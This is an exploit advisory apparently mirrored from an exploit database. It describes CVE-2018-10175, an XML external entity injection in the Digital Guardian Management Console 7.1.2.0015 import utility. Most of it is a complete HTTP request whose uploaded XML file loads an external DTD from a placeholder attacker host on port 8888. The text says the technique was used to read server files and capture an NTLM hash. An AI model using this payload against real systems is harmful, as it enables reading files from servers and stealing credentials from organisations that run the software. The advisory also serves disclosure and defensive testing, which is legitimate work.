Digital Guardian Management Console 7.1.2.0015 XXE Injection Vulnerability

2018-04-19T00:00:00
ID 1337DAY-ID-30214
Type zdt
Reporter Pawel Gocyla
Modified 2018-04-19T00:00:00

Description

Exploit for asp platform in category web applications

                                        
                                            Title: Digital Guardian Managment Console - XML External Entity Vulnerability
Author: Pawel Gocyla
Date: 18 April 2018
CVE: CVE-2018-10175


Affected software:
==================
Digital Guardian Managment Console Version 7.1.2.0015 

Description:
============
Digital Guardian is an American data loss prevention software company which provides software both at the end-user level and in corporate networks, servers, databases, and the cloud. Digital Guardian is designed to see and stop malicious actions by users and malware on endpoints. It puts data events into context and applies a granular set of rules to protect it against threats.

The company holds 20 patents for its technology.Its customers include about 300 Global 2000 companies, as well as seven of the 10 largest brands in the world. It is considered to be a leader in the global data loss prevention market. 

Vulnerability:
**************
XML External Entity injection vulnerability has been found in the application. XEE is an XML parser feature, which should always be turned off unless required for some good reason. Exploitation of this vulnerability can allow to:
-conduct external network requests from the server to external locations (Server Side Request Forgery), which might be useful for other attacks against locations which trust this server
-list directory contents on the server with permissions of the application user
-read files on the server with permissions of the application user

In this case pentester was able to read system files and capture NTLM hash of system user.

XML External Entity:
====================
Vulnerable parameter: "importFile"


Request: 

POST /DigitalGuardian/PopUps/ImportUtility.aspx?importType=202&dgmessageid=trendBuilder&d=eM0JqTWiDRys%2fdIo3sK%2bBWsSIfWqZD0sZtrjRgTxWcI%3d HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Referer: http://[host]/DigitalGuardian/PopUps/ImportUtility.aspx?importType=202&dgmessageid=trendBuilder&d=eM0JqTWiDRys%2fdIo3sK%2bBWsSIfWqZD0sZtrjRgTxWcI%3d
Accept-Language: en-GB
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Content-Type: multipart/form-data; boundary=---------------------------7e0303204c1086
Accept-Encoding: gzip, deflate
Host: [host]
Content-Length: 1166
Pragma: no-cache
Cookie: MRUDomain=00000000-0000-0000-0000-000000000002; ASP.NET_SessionId=bo3msxmnwidpo2xnpvga1dcd; DGAuthToken=23871fb9-35ef-425f-91ca-9f567dee78bd; .DGMCASPXAUTH=1B15A3216B7BF6A9C7920F36EF747366F8955CAECD92145DBA0E8C88A3BF5299A4171B1765CBF6DC9F656A5AC28F24BE736C5A3D036814159A8832D20A8268155F82D384BFB4EADCC2E06BEDE280833F2A33B62331B2480D95A14A6182426E36DB1126CE38CE8A6B5E74EFFBB25CE01CFC9495AE65C8F281B78E0CB61F374D0C3C088105C353DEBD447333C5F661E83A5DA01AF66CEE040C51B0DE97B7D7164C9CE4CA1A4DCC3FAB4E1A322CCFF1675B3E83593BDE883CAF89D0DBDA6B7AC3D416ACEEFF99758F8D4B2099797787A0EC604C6B71AB78CF90F91C37DDC8EE3EEF9B4460B8CEE520BA347871D61BF7CB45C31FE3CF322890782928976DD95FCDED7AC05A97AF546619DAF70526E40A2D996854E4A0C22D52BEDB0100C98D2635839A8809CA81706FF0ED737BACD0BFD7B8648940FF02E5273D1CF76CBF077B6D864D9CF623FE06C9A3C618250B056533866054D4D59E3B787C386C280F5BA32483F82BA19BF758980764EFAE124E51F0E7EDA22CDA1D0DF0616219E1035820870C7C7C9D52DEE7E6135D1BD27D0D91B4195A1106C22EBE15FFEF1E1DCF0C14BC4F1531417E4B50F188EC3F0619962797E6082658AD64E42C1CDE46415E07628A61C2201DC79ED65A7C46A49A9DB09A43CF34985F5EFBCFF1F9BAB8EB6B568710E51B6FDC9DB2CA9F4E11CD29B6F63DFC41C1A576E610A328428149748A5C93993E
Connection: close

-----------------------------7e0303204c1086
Content-Disposition: form-data; name="__EVENTTARGET"

lbPostBack
-----------------------------7e0303204c1086
Content-Disposition: form-data; name="__EVENTARGUMENT"


-----------------------------7e0303204c1086
Content-Disposition: form-data; name="__VIEWSTATE"

/wEPDwUJMTk4MzgwNzM3D2QWAgIDDxYCHgxhdXRvY29tcGxldGUFA29mZhYEAgEPDxYCHgRUZXh0BQtJbXBvcnQgRmlsZWRkAg8PD2QWAh4Hb25jbGljawW6AXRoaXMuZGlzYWJsZWQ9dHJ1ZTt3aW5kb3cuZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2J0bkNhbmNlbCcpLmRpc2FibGVkPXRydWU7d2luZG93LmRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdwcm9jZXNzQmFyJykucnVudGltZVN0eWxlLnZpc2liaWxpdHk9J3Zpc2libGUnO19fZG9Qb3N0QmFjaygnbGJQb3N0QmFjaycsJycpO2Rknd5tpF/MQlLhdH52OotwU+mrL50J+rMq1BBZQrKSvZc=
-----------------------------7e0303204c1086
Content-Disposition: form-data; name="__VIEWSTATEGENERATOR"

56416A97
-----------------------------7e0303204c1086
Content-Disposition: form-data; name="importFile"; filename="xxe.xml"
Content-Type: text/xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo SYSTEM "http://[Attacker_IP]:8888/evil.dtd">
<foo>&e1;</foo>

#  0day.today [2018-04-20]  #